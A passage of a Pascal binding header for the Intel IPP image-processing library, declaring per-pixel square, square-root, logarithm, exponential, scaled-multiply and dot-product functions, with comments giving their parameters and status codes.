function ippiSqr_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_8u_AC4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_8u_C4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_AC4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_C4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_AC4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_C4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_8u_C1IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_8u_C3IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_8u_AC4IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_8u_C4IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_C1IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_C3IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_AC4IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16u_C4IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_C1IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_C3IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_AC4IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_16s_C4IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqr_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqr_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiSqrt_8u_C1RSfs
ippiSqrt_8u_C3RSfs
ippiSqrt_8u_AC4RSfs
ippiSqrt_16u_C1RSfs
ippiSqrt_16u_C3RSfs
ippiSqrt_16u_AC4RSfs
ippiSqrt_16s_C1RSfs
ippiSqrt_16s_C3RSfs
ippiSqrt_16s_AC4RSfs
ippiSqrt_32f_C1R
ippiSqrt_32f_C3R
ippiSqrt_32f_AC4R
ippiSqrt_8u_C1IRSfs
ippiSqrt_8u_C3IRSfs
ippiSqrt_8u_AC4IRSfs
ippiSqrt_16u_C1IRSfs
ippiSqrt_16u_C3IRSfs
ippiSqrt_16u_AC4IRSfs
ippiSqrt_16s_C1IRSfs
ippiSqrt_16s_C3IRSfs
ippiSqrt_16s_AC4IRSfs
ippiSqrt_32f_C1IR
ippiSqrt_32f_C3IR
ippiSqrt_32f_AC4IR
ippiSqrt_32f_C4IR
Purpose: computes square roots of pixel values of a source image and
places results in the destination image;
for in-place flavors - in the same image
Returns:
ippStsNoErr OK
ippStsNullPtrErr One of pointers is NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsSqrtNegArg Source image pixel has a negative value
Parameters:
pSrc pointer to the source image
srcStep step through the source image
pDst pointer to the destination image
dstStep step through the destination image
pSrcDst pointer to the source/destination image (for in-place function)
srcDstStep step through the source/destination image (for in-place function)
roiSize size of the ROI
scaleFactor scale factor
}
function ippiSqrt_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_8u_AC4RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16u_AC4RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16s_AC4RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqrt_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqrt_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqrt_8u_C1IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_8u_C3IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_8u_AC4IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16u_C1IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16u_C3IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16u_AC4IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16s_C1IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16s_C3IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_16s_AC4IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiSqrt_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqrt_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqrt_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiSqrt_32f_C4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippiLn_32f_C1IR ippiLn_16s_C1IRSfs ippiLn_8u_C1IRSfs ippiLn_16u_C1IRSfs
ippiLn_32f_C3IR ippiLn_16s_C3IRSfs ippiLn_8u_C3IRSfs ippiLn_16u_C3IRSfs
ippiLn_32f_C1R ippiLn_16s_C1RSfs ippiLn_8u_C1RSfs ippiLn_16u_C1RSfs
ippiLn_32f_C3R ippiLn_16s_C3RSfs ippiLn_8u_C3RSfs ippiLn_16u_C3RSfs
Purpose:
computes the natural logarithm of each pixel values of a source image
and places the results in the destination image;
for in-place flavors - in the same image
Parameters:
pSrc Pointer to the source image.
pDst Pointer to the destination image.
pSrcDst Pointer to the source/destination image for in-place functions.
srcStep Step through the source image.
dstStep Step through the destination image.
srcDstStep Step through the source/destination image for in-place functions.
roiSize Size of the ROI.
scaleFactor Scale factor for integer data.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsStepErr One of the step values is less than or equal to zero
ippStsLnZeroArg The source pixel has a zero value
ippStsLnNegArg The source pixel has a negative value
ippStsNoErr otherwise
}
function ippiLn_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLn_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLn_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLn_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLn_16s_C1IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_16s_C3IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScalFact : Int32 ): IppStatus; _ippapi
function ippiLn_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; ScalFact : Int32 ): IppStatus; _ippapi
function ippiLn_8u_C1IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_8u_C3IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiLn_16u_C1IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScalFact : Int32 ): IppStatus; _ippapi
function ippiLn_16u_C3IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; ScalFact : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names:
ippiExp_32f_C1IR ippiExp_16s_C1IRSfs ippiExp_8u_C1IRSfs ippiExp_16u_C1IRSfs
ippiExp_32f_C3IR ippiExp_16s_C3IRSfs ippiExp_8u_C3IRSfs ippiExp_16u_C3IRSfs
ippiExp_32f_C1R ippiExp_16s_C1RSfs ippiExp_8u_C1RSfs ippiExp_16u_C1RSfs
ippiExp_32f_C3R ippiExp_16s_C3RSfs ippiExp_8u_C3RSfs ippiExp_16u_C3RSfs
Purpose:
computes the exponential of pixel values in a source image
Parameters:
pSrc Pointer to the source image.
pDst Pointer to the destination image.
pSrcDst Pointer to the source/destination image for in-place functions.
srcStep Step through the source image.
dstStep Step through the in destination image.
srcDstStep Step through the source/destination image for in-place functions.
roiSize Size of the ROI.
scaleFactor Scale factor for integer data.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsStepErr One of the step values is less than or equal to zero
ippStsNoErr otherwise
}
function ippiExp_32f_C1IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiExp_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiExp_32f_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiExp_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiExp_16s_C1IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_16s_C3IRSfs( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_16s_C1RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_16s_C3RSfs( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_16u_C1IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; sFact : Int32 ): IppStatus; _ippapi
function ippiExp_16u_C3IRSfs( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; sFact : Int32 ): IppStatus; _ippapi
function ippiExp_8u_C1IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_8u_C3IRSfs( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_8u_C1RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_8u_C3RSfs( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippiExp_16u_C1RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; sFact : Int32 ): IppStatus; _ippapi
function ippiExp_16u_C3RSfs( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; sFact : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Multiplication with Scaling
---------------------------------------------------------------------------- }
{
Names: ippiMulScale, ippiMulCScale
Purpose: Multiplies pixel values of two images (MulScale),
or pixel values of an image by a constant (MulScaleC) and scales the products
Parameters:
value The constant value (constant vector for multi-channel images)
pSrc Pointer to the source image
srcStep Step through the source image
pSrcDst Pointer to the source/destination image (in-place operations)
srcDstStep Step through the source/destination image (in-place operations)
pSrc1 Pointer to the first source image
src1Step Step through the first source image
pSrc2 Pointer to the second source image
src2Step Step through the second source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the image ROI
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsStepErr One of the step values is less than or equal to zero
ippStsSizeErr The roiSize has a field with negative or zero value
ippStsNoErr otherwise
}
function ippiMulScale_8u_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_C4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_AC4R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_C1IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_C3IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_C4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_8u_AC4IR( pSrc : Ipp8uPtr ; srcStep : Int32 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; value : Ipp8u ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_4 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; const value : Ipp8u_3 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_C1IR( value : Ipp8u ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_C3IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_C4IR(const value : Ipp8u_4 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_8u_AC4IR(const value : Ipp8u_3 ; pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_C3R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_C4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_AC4R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_C1IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_C3IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_C4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulScale_16u_AC4IR( pSrc : Ipp16uPtr ; srcStep : Int32 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; value : Ipp16u ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_4 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; const value : Ipp16u_3 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_C1IR( value : Ipp16u ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_C3IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_C4IR(const value : Ipp16u_4 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiMulCScale_16u_AC4IR(const value : Ipp16u_3 ; pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Dot product of two images
{ ----------------------------------------------------------------------------
Name: ippiDotProd
Purpose: Computes the dot product of two images
Context:
Returns: IppStatus
ippStsNoErr OK
ippStsNullPtrErr One of the pointers is NULL
ippStsStepErr One of the step values is equal to zero
Parameters:
pSrc1 Pointer to the first source image.
src1Step Step in bytes through the first source image
pSrc2 Pointer to the second source image.
src2Step Step in bytes through the source image
roiSize Size of the source image ROI.
pDp Pointer to the result (one-channel data) or array (multi-channel data) containing computed dot products of channel values of pixels in the source images.
hint Option to select the algorithmic implementation of the function
Notes:
}
function ippiDotProd_8u64f_C1R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippiDotProd_16u64f_C1R( pSrc1 : Ipp16uPtr ; src1Step : Int32 ; pSrc2 : Ipp16uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippiDotProd_16s64f_C1R( pSrc1 : Ipp16sPtr ; src1Step : Int32 ; pSrc2 : Ipp16sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippiDotProd_32u64f_C1R( pSrc1 : Ipp32uPtr ; src1Step : Int32 ; pSrc2 : Ipp32uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippiDotProd_32s64f_C1R( pSrc1 : Ipp32sPtr ; src1Step : Int32 ; pSrc2 : Ipp32sPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64fPtr ): IppStatus; _ippapi
function ippiDotProd_32f64f_C1R( pSrc1 : Ipp32fPtr ; src1Step : Int32 ; pSrc2 : Ipp32fPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippiDotProd_8u64f_C3R( pSrc1 : Ipp8uPtr ; src1Step : Int32 ; pSrc2 : Ipp8uPtr ; src2Step : Int32 ; roiSize : IppiSize ; pDp : Ipp64f_3 ): IppStatus; _ippapi
